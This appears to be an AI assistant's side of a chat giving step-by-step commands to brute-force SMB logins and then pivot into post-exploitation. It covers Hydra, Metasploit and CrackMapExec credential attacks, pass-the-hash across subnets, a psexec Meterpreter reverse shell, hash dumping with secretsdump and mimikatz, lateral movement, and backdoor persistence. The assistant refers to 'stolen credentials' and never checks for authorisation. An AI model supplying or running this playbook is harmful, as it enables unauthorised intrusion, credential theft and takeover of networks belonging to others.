To **break or crack an SMB password**, you're essentially trying to perform a **brute-force or dictionary attack** against the SMB (Server Message Block) protocol — often used in Windows file sharing.

Here are the **best tools** to do that:

---

### 🔧 1. Hydra (Fast network login cracker)

**Usage:**

```
hydra -L users.txt -P passwords.txt smb://<target_ip> -V
```

**Notes:**

- -L is the username list
- -P is the password list
- Add -V for verbose output

---

### 🔧 2. Medusa (Parallel brute-force tool)

**Usage:**

```
medusa -h <target_ip> -u <username> -P passwords.txt -M smbnt
```

**Notes:**

- Fast and lightweight
- Supports SMB with the smbnt module

---

### 🔧 3. Metasploit (Flexible and powerful)

**Module:**

```
use auxiliary/scanner/smb/smb_login
```

**Steps:**

```
set RHOSTS <target_ip>
set SMBUser <username>          # or use USER_FILE for list
set PASS_FILE passwords.txt
run
```

**Advantages:**

- Can try multiple usernames/passwords
- Shows detailed login results
- Works with SMBv1 and SMBv2

---

### 🔧 4. CrackMapExec (Post-exploitation + enumeration)

**Usage:**

cme smb <target_ip> -u <username> -p <password_or_passwordlist>

Or:

cme smb <target_ip> -u users.txt -p passwords.txt

**Advantages:**

- Combines enumeration and login attempts
- Very useful in post-exploitation (e.g., after gaining a foothold)
- Supports password spraying

---

### 🧠 Pro Tips:

- Use strong password lists like:
  - rockyou.txt
  - SecLists (GitHub repo of quality wordlists)
- Be careful not to **lock out accounts** on real networks (some policies do after a few wrong attempts).
- Ensure SMB port (usually 445 or 139) is **open**:
- nmap -p 139,445 <target_ip>

---

### ✅ Recommended Workflow:

1. Use nmap or Metasploit to confirm SMB is available.
2. Use Metasploit or Hydra to attempt logins.
3. Use CrackMapExec to automate checking many hosts or creds.

Great — you're on **Kali Linux**, which has all the tools pre-installed or easily installable. Below is a **complete step-by-step guide** to:

- 🎯 Scan for SMB
- 🔍 Enumerate users
- 🔓 Brute-force SMB login
- ✅ Confirm successful login

---

🧰 **Tools Used:**

- nmap
- enum4linux
- Metasploit
- Hydra
- CrackMapExec

---

✅ **Step 1: Scan the target for SMB**

nmap -p 139,445 --script smb-os-discovery,smb-enum-users <target_ip>

This confirms SMB is running and may reveal OS info and usernames.

---

✅ **Step 2: Enumerate SMB info (users/shares/domains)**

enum4linux -a <target_ip>

Look for:

- NetBIOS name
- Domain/workgroup
- Usernames
- Shares

If enum4linux gives usernames, save them in a file like users.txt.

---

✅ **Step 3: Brute-force with Metasploit**

**Launch Metasploit:**

msfconsole

**Use SMB login module:**

use auxiliary/scanner/smb/smb_login

**Set options:**

set RHOSTS <target_ip>

set USER_FILE users.txt

set PASS_FILE /usr/share/wordlists/rockyou.txt

set THREADS 10

run

This will try all combinations from users.txt and rockyou.txt

---

### ✅ Step 4: Try Hydra (alternative brute-force)

**With one user:**

hydra -l <username> -P /usr/share/wordlists/rockyou.txt smb://<target_ip> -V

**With multiple users:**

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt smb://<target_ip> -V

If you get “host is up” with a login: and password: — you have a valid credential.

---

### ✅ Step 5: Use CrackMapExec (very useful for confirming)

cme smb <target_ip> -u users.txt -p /usr/share/wordlists/rockyou.txt

You’ll see outputs like:

[+] <target_ip> SMB  Login successful <DOMAIN>\<user>:<password>

---

### ✅ Step 6: Access SMB shares (if login succeeds)

smbclient -L //<target_ip>/ -U <username>

Then connect:

smbclient //<target_ip>/<share> -U <username>

---

📁 **Wordlists:**

Kali includes great wordlists in /usr/share/wordlists/, especially:

- rockyou.txt (extract with gunzip rockyou.txt.gz)
- Or get more from SecLists: /usr/share/seclists/Passwords/

---

🚀 **Recap:**

| Task | Tool | Command |
|---|---|---|
| Scan SMB | nmap | nmap -p 139,445 --script smb-os-discovery <ip> |
| Enumerate Users | enum4linux | enum4linux -a <ip> |
| Brute-force Login | msfconsole | use smb_login module |
| Brute-force Login | hydra | hydra -L users.txt -P rockyou.txt smb://<ip> |
| Check Login | crackmapexec | cme smb <ip> -u users.txt -p rockyou.txt |

---

Perfect — since you're on **Kali Linux**, and you've already:

✅ Identified SMB service
✅ Possibly gained **valid SMB credentials** (or you're close)

Let's now **pivot to post-exploitation** — that means **leveraging access** to:

- 📂 Enumerate further internal systems or shares
- 🧪 Dump hashes or credentials
- 🖥️ Get a remote shell
- 🕸️ Move laterally

---

### 🧭 Post-Exploitation Roadmap (SMB Access Pivot)

---

### 🔐 1. Access File Shares (Manual or via smbclient)

Use your stolen credentials:

```
smbclient -L //<target_ip>/ -U <username>
```

Then:

```
smbclient //<target_ip>/<sharename> -U <username>
```

Try to find:

- Config files
- Passwords stored in scripts
- User directories (Users/, Documents/, Desktop/)
- sysprep.xml files (often store plaintext creds)

---

### 🧰 2. Re-use credentials across network (Pass-the-Hash / Credential spraying)

If you have **username:password** or **NTLM hash**, use:

📌 **CrackMapExec**

```
cme smb <target_subnet>/24 -u <username> -H <NTLM_hash>
```

Or if you have the clear-text password:

```
cme smb <target_subnet>/24 -u <username> -p <password>
```

You'll find:

- Other machines using the same credentials
- Open shares
- Admin access indicators (Pwn3d!)

---

### 🎯 3. Gain a Reverse Shell (via Metasploit or Impacket)

✅ **With valid credentials:**

Use **Metasploit psexec** module:

```
use exploit/windows/smb/psexec
set RHOSTS <target_ip>
set SMBUser <username>
set SMBPass <password>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_kali_ip>
run
```

If credentials are valid and user has admin, you get a Meterpreter shell.

---

### 🔄 4. Dump Credentials or Hashes

If you got a shell:

- Use mimikatz via Meterpreter or as a binary
- Dump SAM or SYSTEM hives and extract with secretsdump.py

If you have only credentials (no shell), use Impacket:

```
secretsdump.py <domain>/<user>:<password>@<target_ip>
```

Or using hashes:

```
secretsdump.py -hashes <LMHASH>:<NTHASH> <user>@<target_ip>
```

This may dump:

- User password hashes

- Service account credentials
- Cached plaintext passwords (if lucky)

---

### 🚪 5. Lateral Movement

Now with more creds:

- Repeat crackmapexec or psexec on new IPs
- Look for RDP, WinRM, or SMB on other machines
- Create persistence: add users, backdoors, scheduled tasks, etc.

---

### 🧠 6. Privilege Escalation (If you don't have admin yet)

On the victim machine (via shell or Meterpreter):

- Run whoami /groups
- Look for groups like Administrators, Remote Desktop Users
- Use **winPEAS** or **PowerUp.ps1** for automated enumeration

```
# Upload winPEAS
upload winPEASx64.exe
winPEASx64.exe > output.txt
```

---

### 🎒 Tool Summary:

| Goal | Tool | Command Example |
|---|---|---|
| Access SMB shares | smbclient | smbclient //<ip>/share -U user |
| Dump credentials | secretsdump.py | secretsdump.py user:pass@ip |
| Spray/PtH across network | crackmapexec | cme smb subnet -u user -p pass |
| Remote shell | Metasploit psexec | exploit/windows/smb/psexec |
| Enum and escalate | winPEAS, PowerUp.ps1 | Upload and run |

---